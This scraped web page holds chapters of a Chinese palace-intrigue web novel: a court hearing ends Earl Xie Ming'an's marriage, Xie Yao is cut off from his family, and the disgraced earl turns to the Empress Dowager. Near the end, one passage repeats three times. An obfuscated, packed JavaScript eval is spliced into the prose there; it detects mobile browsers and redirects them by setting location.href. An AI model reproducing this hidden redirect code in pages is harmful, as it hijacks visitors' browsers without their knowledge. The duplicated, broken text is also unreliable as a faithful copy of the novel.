谢明安浑身一震:“秋水已经死了,你怎么能听一个死人胡言乱语,质疑你的夫君?许氏,你不要执迷不悟。” 蒋四忽然道:“伯爷,秋水虽然死了,但小的还在。” 第193章 谢窈不是文昌伯亲生女儿? 谢明安面色一冷:“蒋四,你这话是什么意思?” 蒋四趁人不备,再次朝他眨了一下眼睛。 谢明安眉头紧皱,只能强压下内心的不安。 杜语堂眼神一沉,又问蒋四:“秋水不是你当街杀死的丫鬟吗?” 蒋四:“启禀大人,秋水是许老爷子的义女,可实际上,她是伯爷让小人安插在伯夫人身边的眼线,当初就靠她通风报信,伯爷才知道了伯夫人的喜恶,从而得到伯夫人的芳心……” “小人之所以当街杀她,也是伯爷怕事情败露,才让小人去灭口。” 谢明安呆了呆,脸色顿时黑如锅底。 蒋四这个蠢货,说好的只交代几句无关紧要的事,把公堂糊弄过去呢? 他立即大吼:“大人明鉴,明明是这刁奴贪图秋水美貌,强抢民女不成,跟秋水起了争执才杀人,现在想赖到本伯头上!” 蒋四连忙道:“小人没有胡说,当年秋水卖身,是伯爷买下了她,为了将她安插进许家别院,伯爷表面将她的身契销毁,实际上,让小人留了一份,就在小人住宅床底第五块砖下面。” “这上面,明明白白写着谢明安的名字。” 杜语堂早已命人取来这份身契,他翻看一番,说着,又将身契呈给长公主。 看到那张陈旧的身契,谢明安面色更加难看,没想到自己只是被关进大牢一晚上,就有官差到了伯府搜证。 “你胡说,是你伪造了一份身契,想陷害本伯!” 杜语堂:“他一个护院,如何能伪造文书?” 长公主满是厌恶地盯着谢明安:“这样阴险狡诈的薄情之人,也配为人父,为人夫?” 许素素双目泛红,深深一拜:“谢明安买通我身边丫鬟,谋取我许家陪嫁,还指使他人灭口,敢问大人,我不能与他和离吗!” 围观百姓听完蒋四和许素素的话,看向谢明安的眼神,一个个都透着鄙夷。 “多年的枕边人,竟然都是文昌伯的算计,伯夫人真是可怜。” “文昌伯能指使手下把知情的丫鬟灭口,伯夫人再跟他过下去,谁知他会不会做出更加丧心病狂的事?” “如此口蜜腹剑,唯利是图的小人,也配做官?就该把他抓起来下狱!” 这些百姓们,原本认为许素素身为妻子,状告夫君请求和离不合礼法。 可是现在,得知谢明安求娶许素素的内幕,他们调转了风向,主动为许素素说话。 还有人“呸”地朝谢明安吐口水。 连谢宴在人群中,都冷漠地盯着自己父亲。 一直以来,谢宴不在乎姐姐对父亲的态度,他有自己的一套想法,无论如何,他都站在姐姐这边。 可知道了谢明安曾做的事后,他却懂了,为什么母亲要跟这个男人和离,为什么姐姐要让他身败名裂。 谢明安听到周围的议论声,气得七窍生烟。 蒋四凑在他身旁,在他耳边说:“伯爷,小人也没办法,总得交代一些事,否则,小人和您都完了,您就和夫人和离了吧,这样至少——” “蠢货!” 谢明安怒骂一声,这才明白蒋四的意思。 原来,这个废物是彻底怕了许氏和谢窈,把杀害秋水的事推到自己身上,他的罪名倒是减轻了。 可谢明安怎么甘心和离!明明许素素再有几个月就会毒发身亡,到时候许家的陪嫁,都是他的! 杜语堂同样听见堂下百姓的声音,他的心里已经有了定论。 “谢明安,你此前掌掴诰命夫人,侵吞妻子陪嫁,已是令人不齿,如今许夫人又诉你当年娶她,也全是利益算计,证据确凿,本官理应判你和许氏和离。” 长公主点头,就要为此事一锤定音:“从今日起,许氏和谢明安和离。” “不,我绝不和离!” 谢明安嘶吼一声,眼神沉了下去。 “那些算计,只是我追求许氏的手段,我没有错,错的是许氏!本伯不和离,本伯要休了许氏!” 杜语堂眉头一皱:“文昌伯咆哮公堂,是疯了不成,许夫人为你生儿育女,操持家务,哪里有错?你满心算计,桩桩件件都是过错,你还想休了她?” 谢明安和许素素对视,缓缓地,露出一个狰狞而扭曲的笑容。 既然他们这么逼他,那他也只能爆出一张底牌。 “许氏,你还未成亲就未婚先孕,不守妇道,生下谢窈这个野种,我忍了这么多年,戴了这么久的绿帽子,用你一些陪嫁怎么了,你还有脸告我?” 谢明安转过身,指着谢窈,面朝百姓咆哮。 “谢窈根本不是我的亲生女儿,是许氏与别的男子私通,生下的孩子!” 这话一出,公堂内外,陷入一片死寂! 官差们震惊地瞪大了眼睛,怀疑自己听错了。 连杜语堂和长公主,都皱了皱眉。 百姓们反应过来,爆发出更大的议论声。 “什么?谢窈不是文昌伯亲生女儿?” “没有那个男子,会拿绿帽子开玩笑!这,这要是真的,我是文昌伯,我也不能忍!” “我听说许夫人当年,的确是先生下了孩子,再被文昌伯娶回府的。你们看,文昌伯和谢窈长得一点也不像。” “难怪文昌伯对靖北王妃那么差,舍得把八九岁的嫡女送去健妇营,原来王妃根本不是他亲生女儿……” 听到谢明安的话,谢窈内心没有半分波澜。 她立即转身,给白蔹递了眼神。 和她预想的一样,谢明安发现和离已成定局后,就想往母亲身上泼脏水,把和离变成休妻。 而她,早有准备。 白蔹点了点头,“嗖”地消失。 谢窈迎着周围各异的目光,眉眼冷艳从容,率先看向自己的母亲许素素。 她一直没有把自己身世的事,告诉母亲。 一来没有切实证据,时机还不成熟,二来,她也无法开口。 可今天,母亲还是要知道了。 许素素却怔了一下后,就缓过神来,嗤笑道:“谢明安,自己给自己戴绿帽子,我今日算是开了眼了,说我私通,你的证据呢。” 谢明安阴沉地说:“你曾经的陪嫁嬷嬷苏氏,谢窈不是我的亲生女儿,是她亲口所说,她人虽然已经死了,但还留下一封绝笔信,就在我书斋里放着!” “伯爷为了母亲剩下的那些许家陪嫁,不惜往母亲身上泼脏水,可真是卖力,”谢窈站出来,凤眸深沉,“你现在怎么不说,绝笔信是伪造的了?” 许素素:“苏嬷嬷当初被你说偷盗伯府财物,硬生生打死,你屈打成招,算什么证据?” 谢明安张了张口,发现别人看他的眼神也多了几分怀疑。 他通红着眼睛,从牙缝里挤出一句话:“那就滴血验亲!我要和谢窈滴血验亲,证明许氏和外人私通!” “谢明安,你也配损伤本王的王妃凤体?” 一道冷冽的声音,骤然响起。 百姓们只感觉一阵寒风袭来,回过头,就见靖北王府的马车停下。 骤然间,百姓紧急后退。 王爷身着玄色蟒袍,面容冷肃,被侍卫推了进来。 白蔹一路疾驰,骑马出现在马车侧边,马背上还坐着一个人。 他翻身下马,将这人“啪叽”丢下来。 谢老夫人手忙脚乱地抓住自己拐杖,这才站稳。 谢明安没发现的是,在白蔹出现的时候,他身旁的蒋四像看见了什么妖魔鬼怪似的,忽然打起摆子,吓得浑身发抖。 谢老夫人脸色苍白,步履蹒跚地走到公堂中央,道: “不必滴血验亲了……” 第194章 母亲和离,谢窈断亲! 谢明安皱起眉,见谢老夫人是被白蔹带进来的,他心里顿时生出不祥的预感。 “杜大人,我母亲年事已高,怕是老糊涂了,不知自己在说什么。” 谢明安跟杜语堂说完,又看向谢老夫人:“母亲,你身体不好,来这里做什么,还不赶紧回去休息。” 他怕谢老夫人说出什么对他不利的话,毕竟当年苏嬷嬷的事,她也知情。 谢老夫人眼皮跳动,对杜语堂行礼:“大人,老身是文昌伯的母亲,有一事要禀。” 杜语堂才不理会谢明安。 “老夫人请讲。” “十八年前,许氏怀有身孕,因是未婚先孕,便去了京郊成佛寺养胎。老身那可怜的孙儿,生下不到一刻就夭折了,是许氏身边的苏嬷嬷心疼主子,怕她无法接受,就寻来同日出生的弃婴,谎称是她亲生的。” 谢老夫人哀怨的声音,不算高,说出口的话,却让所有人再次安静下来。 谢窈攥紧了拳头,蓦地看向许素素。 这,就是事情的真相。 许素素面色有些苍白,努力维持着镇定。 那日她让桑若去询问孙姨娘,听孙姨娘说苏嬷嬷的事后,其实她心里,就有了猜测。 苏嬷嬷要告老还乡那段时间,一直惴惴不安,似乎想告诉自己什么。 原来她想告诉自己的,是此事。 感受到女儿紧张的目光,许素素眼眶微湿,没有说话。 谢明安大惊失色:“母亲,你疯了,你为何要说这个!” 他本想做实许氏私通,把和离变成休妻,虽然被迫戴了一顶绿帽子,但至少能吞下许氏剩下的陪嫁,还能让百姓们可怜他,站在他这边。 可如果许氏是清白的,一切只是苏嬷嬷寻来了弃婴,长公主和杜语堂都在,他只能乖乖和离! 谢老夫人避开儿子愤怒质问的目光,眼神闪烁。 她也不想说啊,可昨日谢窈亲自回伯府威胁,如果她不说,谢窈就要把谢明安弑父的事公布于众! 这种大逆不道的事,说出去,儿子才彻底完了。 杜语堂问:“谢老夫人,你所说的可有证据?” “老身是谢明安的母亲,本身就是证据。”谢老夫人道。 “那苏嬷嬷年老,想把真相告诉许氏,却被老身和明安发现,她只好将一切说了出来,她的确给许氏留下一封信,但信早已被烧毁。” 她说完,不敢看谢明安,深深地低下了头。 “儿啊,连靖北王和长公主都站在她们那边,再斗下去,谢家只会输得更惨,不如就跟许氏和离算了。”她压低声音,在谢明安耳边说道。 听到谢老夫人话语的谢宴,已经呆住。 他身边的百姓们,更是震惊万分,理了理前因后果之后,人都蒙了。 “这么说,许氏是清白的,她也被蒙在鼓里?” “我就说嘛,文昌伯要是知道伯夫人婚前私通,这么可能还娶她呢。” “所以,靖北王妃既不是文昌伯的女儿,也不是许夫人的女儿,那她到底是谁的女儿?” 此时的长公主,从听到“成佛寺”三个字之后,就一动不动。 许久,她才回过神,慢慢地将视线投向谢窈。 十八年前,长公主被迫去雍国之前,曾在成佛寺养胎。 可生下孩子之后,产婆和宫女只给她看了一个死婴。 长公主永远也忘不了,那个自己怀里小小的,冰冷的孩子。 而谢窈,今年十八岁,也生在成佛寺…… 甚至,许氏不是她的亲生母亲。 这世上,会有这么巧的事吗。 长公主心脏狂跳,她强压着激动,呼吸都变得急促起来。 谢窈到底是谁的女儿? 会不会,她的女儿没有死,就是谢窈! 就在这时,公堂外传来庆公公的声音:“圣旨到!” 除了长公主和靖北王,其他人都跪了下去。 庆公公捧着圣旨,快步走进公堂:“奉天承运皇帝诏曰,谢明安侵吞妻产,行事不端,允准许氏与其和离,许氏陪嫁,谢家尽数归还。此外,陛下口谕——” 他顿了顿,目光落到谢窈身上,提起一口气,声音更抬高几分。 “靖北王妃,羲和营校尉谢窈,未受谢家养育之恩,又非谢明安亲生,今日准许谢窈与谢家断亲,从此两家之事,各不相干!” 许素素听到圣旨,一行清泪落下,不是悲伤,而是解脱。 “民妇谢皇上恩典!”她跪拜接旨。 谢窈看向皇宫的方向,清越的声音在公堂上回荡,掷地有声: “臣谢窈,谢皇上恩典,从此以后,臣与谢家断亲,再无瓜葛。” 皇上的旨意,凌驾一切。 这道旨意,是她用对长公主的救命之恩,以及长公主遇刺之事的隐情换来的。 不仅仅是让母亲和谢明安和离,还有自己,也要和谢家断亲。 皇上倒是谨慎,特意等真相揭开,确定自己赢了,尘埃落定之后,才让庆公公来宣旨。 谢窈甚至猜测,如果她没有提前找来谢老夫人,谢明安反咬一口之后,虽然母亲最终也能在长公主的帮助下和离,但皇上的圣旨,就不一定这么义正言辞了。 不过,倒也不晚。 谢窈看向趴在地上,仿佛已经心如死灰的谢明安,唇角扬起一抹柔和笑意。 认命了?这可不行。 她走上前,像是要将文昌伯搀扶起来,实际上,她只是低头,他耳边很轻地说: “伯爷,告诉你个好消息,其实母亲身上的曼陀散之毒,早就解了,就算不和离,半年后,你也什么都得不到。” 谢明安瞳孔骤缩,不敢置信地仰起头:“谢窈,你玩我?” “是啊,玩的就是你。” 谢窈的笑意加深:“我还没玩够呢。” 谢明安双目猩红,恨不得杀了她。 听完圣旨的谢老夫人,长叹一声,心想从此以后,他们谢家遇见谢窈绕着走。 就在她以为,事情就要结束的时候,谢窈看向蒋四。 “文昌伯不会以为,这就完了吧?” 接收到王妃的指示,一直缩在角落的蒋四,再次开口。 “大人,谢明安不仅安插秋水卧底许家,侵吞许家陪嫁,十年前,他还曾给前任礼部尚书行贿黄金千两,这件事,他是交给伯府王管事干的,三个月前王管事落水身亡,就是他指使小人将其灭口!” 说着,蒋四用力地磕了个头:“幸好小人手里,有王管事写下的谢明安罪行供状,愿意呈上之后,将功折罪。” 谢老夫人惊慌失措地瞪大眼睛,看向谢窈。 她不是说了,只要自己还许氏清白,和离之后,一切就结束了吗! 谢窈仿佛看出她眼神的惊恐,对着跟自己毫无关系的祖母微微一笑,人畜无害地说:“祖母,我可什么都没答应。” “血口喷人!蒋四,你个背主求荣的贱人,你找死!” 谢明安听到蒋四的话,像被踩中尾巴的疯狗,跳起来朝蒋四扑过去。 但还没靠近,他就被衙役按在地上。 他不信,王管事那两封供状,他亲眼亲手销毁了,蒋四这么会有第三封? 蒋四低着头,根本不看他。 在牢里这半个月,蒋四被靖北王身边这位白侍卫“问”透了,已经到见到白蔹就浑身发抖的程度。 他从一开始就知道要配合靖北王妃的节奏,先说伯爷收买安插秋水的事,让伯爷以为问题不大,事情还有转圜的余地。 等伯爷和许氏和离,谢家又已经和王妃断亲了,他再抛出别的罪证,伯爷的罪行,就不会牵扯到许氏和王妃。 白蔹从怀中掏出王妃昨日交给他的,死去王管事签字画押的供状,将其呈上。 “杜大人,这是我刚才带谢老夫人来的时候,顺便从蒋四住所找到的。” 杜语堂接过供状,再结合蒋四的人证,眼神彻底沉了下去。 “谢明安行贿官员,结党营私,滥杀无辜,来人,将其打入天牢,本官将奏请陛下治罪,绝不姑息!” 他冷声下,不容置疑。 “不,我没有,供状是伪造的,都是谢窈伪造的!” 谢明安疯了似的嘶吼,再也没有身为伯爵的体面。 衙役用力拖拽着他,从谢窈身边路过。 谢窈笑意渐深,用只有他能听见的声音,说:“对了,谢明安,有件事你还不知道吧。” “烧了你谢家祠堂的人,就是我。” 第195章 长公主调查,母女命运 “你,你说什么?!” 谢明安面色剧变。 他一直以为祠堂失火,是御鹰司所为,被翻乱的书斋和朱嬷嬷的死,也是皇上给他的警告。 怎么会是谢窈干的?! 那晚,明明是她的大婚之夜啊,她竟然从王府回了伯府?靖北王不管吗? 还没等谢明安从震惊中回过神,谢窈又说:“还有你密室里的东西,乖乖交给我,或许,我还能给你留一条生路。” 谢明安浑身冰凉,他明白了,一切都是谢窈算计好的。 她早就发现了自己的密室,本可以彻底公布于众。 可当谢窈看见密室内无数钱财珍宝之后,她想把自己逼到绝路,让自己一无所有,然后,她再昧下那些财宝! 谢窈看着谢明安震惊到扭曲的面孔,唇角的笑仍旧很温和。 这不是致命一击。 她将谢家祠堂的事说出来,故意说自己想贪下密室的财宝,也不是为了逞口舌之快。 前世自己是怎么死的,谢窈一直没有忘记。 虽然捅死自己的是王管事,但王管事身边,是一伙流匪打扮,有着弓箭刀剑的兵卒,这证明,两年后的谢明安,手里藏了一支私军。 谢窈知道,谢明安如今是太后的人。 王管事的供状,还有蒋四的供词,足以说明谢明安行贿官员,但杀不了他。 太后勾结西戎人,行刺长公主,差点伤了母亲,但仅有江丛嫣这个证据,同样难以奈何。 她要将谢明安逼到绝境,等他狗急跳墙之时,就是肃清朝野妖氛,扳倒太后的时候。 谢窈眯起眸子,看向默默立在一旁围观的庆公公。 如果皇上够聪明的话,也会配合她的行为。 “带走!” 司法参军不耐烦地踢了谢明安一脚,衙役们拖着他,将他关进了天牢。 谢明安还在吼叫,声音里恨意滔天:“谢窈,我不会放过你,你休想,你休想得逞!” 杜语堂又挥手,把蒋四重新押进牢里。 一直沉默的长公主走上前,声音有些沙哑:“阿窈,本宫在此恭贺你和谢家断亲,也祝贺许夫人与谢明安和离。” 谢窈和许素素一齐向她行礼。 “免礼,本宫还有些事,先行一步。” 谢窈第一次见到长公主心事重重的样子,眼神也有些奇怪。 她犹豫要不要问问的时候,长公主就深沉地望了她一眼,带着人快步离开,甚至没和王爷告辞。 谢窈并未多想,许素素却心里若有所思。 离开京兆府,长公主坐在凤驾内,立即叫来手下。 “双喜,你去查靖北王妃出生的具体时辰,确定是不是……是不是夏日。” 双喜虽然不知道为什么,但不敢耽误,立即领命而去。 随即,长公主又对自己的侍女怀夏说:“你持本宫手令,去找当年给本宫接生的产婆,就算掘地三尺,也要把她找出来!” “是!” 怀夏不是长公主怀孕生产一事的亲历者,但她知道,长公主曾在成佛寺生下一个女儿。 孩子的坟塚和墓碑,就在栖凤别院后院。 所以在谢老夫人说出靖北王妃,并不是许夫人亲生女儿的时候,她也想到了这个不可思议的可能。 吩咐完这两件事,长公主闭上眼睛,坐在凤驾内,仿佛熟睡。 直到许久之后,她睁开眼睛,眼角的泪痕已干。 她从旁边,取出一只锦盒。 这锦盒,还是当初谢窈回京第一天,替顾昭棠交给她的。 锦盒内有两封信,一封,是她母后羲和太后的遗书。 另一封,是顾昭棠写给她的几句话。 寥寥数语,诉不尽十八年的相思之情,也无法平息十八年前的爱恨情仇。 “顾昭棠,你知不知道,我和你,曾有过一个女儿……” 长公主将信纸捧到心口,喃喃道。 另一边,京兆府外的百姓见靖北王阴沉着脸,王府的亲卫也凶神恶煞般出现,终于恋恋不舍地结束了看戏。 谢窈跟着许素素走出公堂,她心里有些忐忑,不知怎么面对母亲。 母亲一直没有跟她说话。 “姐姐。” 谢窈听见熟悉的声音,一回头,谢宴也垮着脸,像她跟着母亲一样,跟在自己身后。 谢宴睁圆了眼瞳,小心翼翼地询问:“姐姐,你还要我吗……” 谢窈定下神,“温柔”地揉了揉弟弟的头发:“不管我是谁的女儿,你都是我的小废物弟弟。” “那就好,”谢宴满意了,顺便安慰许素素,“母亲,没事的,虽然姐姐不是你女儿,但你还有我这个儿子。” 许素素:“……你走吧。” 谢窈:“回去吧,好好‘安慰’祖母,谢家的好日子,从今天开始,到头了。” 谢宴跟着谢老夫人离开,谢窈望着他的背影,唤来白蔹:“有件事,要麻烦小白侍卫了。” 白蔹:“嘿嘿,王妃别跟我客气。” 谢窈交代完任务,白蔹兴高采烈地走了,只留下王爷一个人坐在轮椅上:“……” 他今天刚好没带白术! 这个白蔹,到底是谁的侍卫啊! “小阿窈。” 舅舅许知行喊道。 谢窈抬眸望去,见身穿青色锦袍的舅舅,搀扶着一袭喜庆红衣的许老爷子,正站在回府的马车旁边,笑盈盈地望着她和母亲。 许老爷子挠了挠花白的头发:“阿窈,你是老夫的乖孙女,这点,可不能变。” 许知行:“我也一样。” 许老爷子:“你一样什么一样,阿窈是老夫的孙女,又不是你孙女!” 许知行:“……” 许素素看着父兄斗嘴的一幕,“噗嗤”笑了。 她一直板着脸,没有说话,故作严肃,把阿窈吓够呛。 许素素其实在之前,就猜到了一切。 只是听到谢老夫人说,她生下的孩子,一出生就夭折了,她心里疼痛不已。 但这并不代表,她就不把谢窈当自己女儿了。 此刻,许素素伸出双臂,一把将谢窈搂到怀里。 “谢窈,你是娘的女儿,永远都是。” 她认真地说道。 生恩还是养恩,不重要。 谢窈叫了她母亲,就是她的女儿。 谢窈不能没有她,正如她也不能没有谢窈。 她们母女俩的命运,早就紧紧地缠绕在一起,她这一生,都因为女儿而改变。 谢窈被母亲抱在怀里,眼泪瞬间流了下来。 只要许素素认自己,自己就是有家的孩子。 许知行看着这母女俩,眼眶也红了。 但是让他抱上去,这不太合身,而且旁边王爷还看着呢。 许知行只好转身,抱住了无所适从的许老爷子。 许老爷子挣脱儿子的怀抱:“大喜的日子,都哭什么。” “父亲说得对。” 许知行努力平息气息,望着许素素,露出温润笑容,轻轻地说:“素素,哥哥接你回家。” 第196章 渣爹削爵贬官,勾结太后 “礼部侍郎谢明安,**官员,滥杀无辜,草菅人命,着削去伯爵之位,贬为七品岭北县令,七日内携家眷离京,不得延误!” 天牢内,宣旨太监的声音落在谢明安耳中,字字诛心。 “岭北?!” 谢明安猛地从铺着稻草床板上爬起来,扑向牢门,眼中不敢相信。 “不,不可能,那是燕国北境最荒凉偏远的地方,我谢家乃**罔替的文昌伯府,陛下不能这样对我!我要见陛下,我要见陛下!” 宣旨太监翻了个白眼,语气嘲讽:“谢大人还是省省力气吧,你害死别人,给别人**的时候,怎么没想过今天?你也配见陛下?” 过了一会儿,狱卒打开牢门,将他押出天牢。 天牢的典狱官和京兆府的典狱官不是一个,谢明安本想讨好,没想到对方根本不吃这一套,还狠狠踹了他一脚。 谢明安被踹出去,连忙用手挡住刺眼的阳光,对外面的天色极不适应。 短短半个月,他老了十几岁,头发半白,身上的囚服混着霉味,再也没有从前的温文尔雅。 谢明安缩着脖子,怕被百姓发觉,跌跌撞撞地往伯府跑。 就算没了爵位,至少他还是谢家家主…… 只是,刚走回棠柳巷,谢明安就僵住了。 原本挂在门楣上的“文昌伯府”匾额没了,只剩下光秃秃的木梁,府门大敞,几个熟悉的下人,竟然背着包袱,正被送出谢家。 带这些下人走的,是二房院里的管事。 见到谢明安,管事不仅没有行礼,还抬手在鼻尖扇动:“呕,哪来的要饭花子,都馊了。” 谢明安大吼:“睁大你的狗眼看清楚,老子是谁!” 管事仔细敲了敲,才认出他,却仍旧皱眉道:“原来是大爷回来了,大爷,您这是多久没洗澡了。” “你这是在做什么?”谢明安强忍怒意,问道。 管事:“大爷,你看不出来吗,我在遣散你院里的下人啊。” “没有我的命令,你敢!”谢明安愤怒咆哮。 “有何不敢?” 谢家二爷谢明守刚下朝回府,身穿着七品兵部主事的官袍,路过谢明安,语气冷漠: “大哥,这里已经不是文昌伯府,你弄丢了祖宗的爵位,罪不可赦,经过族老们一致同意,如今,谢家由我代为掌家!” 他昂首挺胸,让管事继续带下人离开。 随即,谢家二爷语重心长地说:“许氏与你和离,把账上所有 银钱都带走了,府里雇不起那么多下人,我作为家主,遣散你院中奴仆,省得你去岭北时,还得带上他们,这是弟弟我为你着想。” 谢明安气得浑身发抖,正要开口,见谢老夫人的贴身嬷嬷前来。 “母亲,母亲呢,我要见母亲!” 他立即喊起来。 嬷嬷是来迎接谢明守下朝的,闻言,停下脚步。 她心里唏嘘不已,但是当着谢明守的面,却狠狠啐了一口:“老夫人说了,她身子不适,不见任何人。” 下一刻,嬷嬷对着谢家二爷笑容满面:“二爷,老夫人让老奴炖了参汤,冬日天寒,您去暖阁用了,暖暖身子吧。” 嬷嬷当场表演变脸。 如今谢家是谢二爷当家,谢老夫人可不想一把年纪,随着谢明安去岭北颠簸,她怕死在路上。 谢家二爷虽然只是七品兵部主事,但到底是京官,谢家此前开设族学,又有许多香火情在。 而岭北县令嘛,距离京城十万八千里,去一趟,和流放差不多。 所以,在儿子被关进天牢这段时间,谢老夫人拼了命地讨好谢明守这个庶子,生怕庶子不要自己。 谢明安看着谢明守得意的眼神,被激起了骨子里的阴狠。 他眼神阴冷:“谢明守,我谢明安再落魄,这谢家也轮不到你来当家,你是不是忘了,我是先帝钦点,太后看重的状元!” 谢明守面色一变,忽然有些害怕。 他是知道,自家大哥似乎跟太后有些交情,但眼看着谢明安进了天牢,根本没人管,他才敢踩对方一脚。 “大哥自然永远都是我的大哥,但大哥你也别忘了,陛下让你七日之内,就去岭北做县令了。”谢家二爷冷哼一声,说完这话,匆匆离开。 “我还没输,我绝不去岭北。”谢明安盯着他的背影,从牙缝里挤出一句话。 深夜,他从自己的书斋密室里,翻出两本账册。 趁着夜色,谢明安往城西一处三进宅院里赶。 今日是他出狱的日子,他不信芝黛不来看望自己。 芝黛原本是太后身边的掌事宫女,不过,因为之前得罪靖北王,所以降成了普通宫女。 前任礼部尚书是她祖父,**多年,虽然晚节不保,但牵扯不到芝黛。 只是,谢明安不知道的是,就在他离开伯府的时候,他的身后,就跟上了一道悄无声息的影子。 半个时辰后,谢明安来到宅院门口。 看见里面亮着灯,他心中安定 下来,大步走进去。 屋内,芝黛见到自己朝思暮想的男子,直接扑到他怀里,哭得梨花带雨。 “伯爷,你受苦了!” 没等谢明安搂住她安抚,她一抬头,看清这张苍老憔悴的脸之后,她大惊失色,吓得一把推开了谢明安。 谢明安:“……” 芝黛这才回过神:“伯,伯爷您怎么……您变化太大,奴婢还以为自己认错了人。” 谢明安将账册扔到桌上:“不必废话,我要见太后一面,要么,你送我进宫,要么,让太后出宫。” 芝黛大着胆子翻开账册,见到上面的记录之后,隐隐明白了什么:“伯爷,你这是要威胁太后?这怎么行!” 谢明安直接把她按倒,狠狠咬了芝黛的耳朵一下。 “现在我落了难,爵位没了,除了你,还有谁能帮我?我若不拿出这些,太后,恐怕就要放弃我了!”他眼神里满是阴鸷,语气却故意显露出温柔。 “伯爷别急,轻点……” “芝黛,你不帮我?” “进宫怕是很难,奴婢得派人去问问太后。” 芝黛脸颊顿时绯红一片,强行挣扎起身,连夜派人去宫里传信。 随即,她又回到房间,和谢明安不知天地为何物起来。 很快两人就结束温存,不到一个时辰,芝黛派的人也回来了,一起来的,还有一个小太监,一个中年太监。 中年太监是太后的心腹江公公,语气冰冷道:“太后可以见谢大人一面,但不是在这里。” 谢明安点了点头,随手将账册交给芝黛,故意说:“这样的账册,我还有很多。” 他就是要让太后知道,他手里还有底牌。 谢明安跟着江公公走出宅院,刚上马车,就被一块黑布蒙住眼睛。 “委屈大人了。”江公公的声音传来。 不知过了多久,他被人架着下车,又跌跌撞撞地走一段路,黑布才被解开。 谢明安打量着四周,这不是宁寿宫,而是个极为奢华的房间,墙上挂满名贵字画,角落里还燃着沉水香,门口,则站着两个面无表情的侍卫。 这时,一个穿着玄色斗篷的身影走进来。 来人掀开帽檐,露出看上去不过三十出头的浓妆容颜,正是当朝太后——江锦云。 太后是江老丞相的小女儿,才及笄就被送入宫为妃,生下了安平侯,如今也只有三十三岁,比许素素和长公主都要小。 “微臣见过太后。”谢明安跪了下去 。 太后走上前,涂着丹蔻的手指捏起芝黛呈上来的账册,翻了几页,脸色瞬间沉了下去:“谢明安,你好大的胆子,竟敢威胁哀家!” 谢明安早有准备,不但不怕,反而赔着笑道: “太后说笑了,微臣只是想求太后帮我一把,我为您收敛钱财,沟通官员这么多年,没有功劳也有苦劳,如今我被贬去岭北,您总不能见死不救吧。” 太后呼吸一窒,眼神却更加狠戾。 “蠢东西,你以为凭这些,就能拿捏哀家?你被贬官削爵,那是你自己无能,连两个女流之辈都斗不过,跟哀家有什么关系。” 谢明安站起来,声音压低:“太后,谢窈已经知道臣是您的人,她既然查出了臣送给前礼部尚书那千两黄金,您觉得,她会不会查到,臣当年替您送给睿亲王的佛像呢。” 六年前先帝驾崩,留下了七子一女。 太子,也就是五皇子登基,没想到除了太后膝下年幼的七皇子之外,剩余五位亲王同时叛乱。 幸好有靖北王和丞相江家,帮助皇帝平定叛乱。 可没人知道,江锦云表面上没让七皇子参与叛乱,背地里,却曾支持过睿亲王。 因为当时七皇子还小,江锦云想两面讨好,不管谁登基,她都是唯一的太后。 太后眼神闪过一丝忌惮,她不怕谢明安的威胁,却越发记住了谢窈的名字。 这个女人,突如其来成了萧熠之的王妃,救下**宜的命,成为皇上任命的女校尉,如今还查出谢明安和自己的关系。 简直像是老天爷派来跟自己对着干的。 太后眯起眸子,忽然想起什么:“哀家有件事要问你,你母亲之前说,谢窈是成佛寺的弃婴,此事可属实?她是几月份出生的?” 。 太后走上前,涂着丹蔻的手指捏起芝黛呈上来的账册,翻了几页,脸色瞬间沉了下去:“谢明安,你好大的胆子,竟敢威胁哀家!” 谢明安早有准备,不但不怕,反而赔着笑道: “太后说笑了,微臣只是想求太后帮我一把,我为您收敛钱财,沟通官员这么多年,没有功劳也有苦劳,如今我被贬去岭北,您总不能见死不救吧。” 太后呼吸一窒,眼神却更加狠戾。 “蠢东西,你以为凭这些,就能拿捏哀家?你被贬官削爵,那是你自己无能,连两个女流之辈都斗不过,跟哀家有什么关系。” 谢明安站起来,声音压低:“太后,谢窈已经知道臣是您的人,她既然查出了臣送给前礼部尚书那千两黄金,您觉得,她会不会查到,臣当年替您送给睿亲王的佛像呢。” 六年前先帝驾崩,留下了七子一女。 太子,也就是五皇子登基,没想到除了太后膝下年幼的七皇子之外,剩余五位亲王同时叛乱。 幸好有靖北王和丞相江家,帮助皇帝平定叛乱。 可没人知道,江锦云表面上没让七皇子参与叛乱,背地里,却曾支持过睿亲王。 因为当时七皇子还小,江锦云想两面讨好,不管谁登基,她都是唯一的太后。 太后眼神闪过一丝忌惮,她不怕谢明安的威胁,却越发记住了谢窈的名字。 这个女人,突如其来成了萧熠之的王妃,救下**宜的命,成为皇上任命的女校尉,如今还查出谢明安和自己的关系。 简直像是老天爷派来跟自己对着干的。 太后眯起眸子,忽然想起什么:“哀家有件事要问你,你母亲之前说,谢窈是成佛寺的弃婴,此事可属实?她是几月份出生的?” 。 太后走上前,涂着丹蔻的手指捏起芝黛呈上来的账册,翻了几页,脸色瞬间沉了下去:“谢明安,你好大的胆子,竟敢威胁哀家!” 谢明安早有准备,不但不怕,反而赔着笑道: “太后说笑了,微臣只是想求太后帮我一把,我为您收敛钱财,沟通官员这么多年,没有功劳也有苦劳,如今我被贬去岭北,您总不能见死不救吧。” 太后呼吸一窒,眼神却更加狠戾。 “蠢东西,你以为凭这些,就能拿捏哀家?你被贬官削爵,那是你自己无能,连两个女流之辈都斗不过,跟哀家有什么关系。” 谢明安站起来,声音压低:“太后,谢窈已经知道臣是您的人,她既然查出了臣送给前礼部尚书那千两黄金,您觉得,她会不会查到,臣当年替您送给睿亲王的佛像呢。” 六年前先帝驾崩,留下了七子一女。 太子,也就是五皇子登基,没想到除了太后膝下年幼的七皇子之外,剩余五位亲王同时叛乱。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16376891|181036||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 幸好有靖北王和丞相江家,帮助皇帝平定叛乱。 可没人知道,江锦云表面上没让七皇子参与叛乱,背地里,却曾支持过睿亲王。 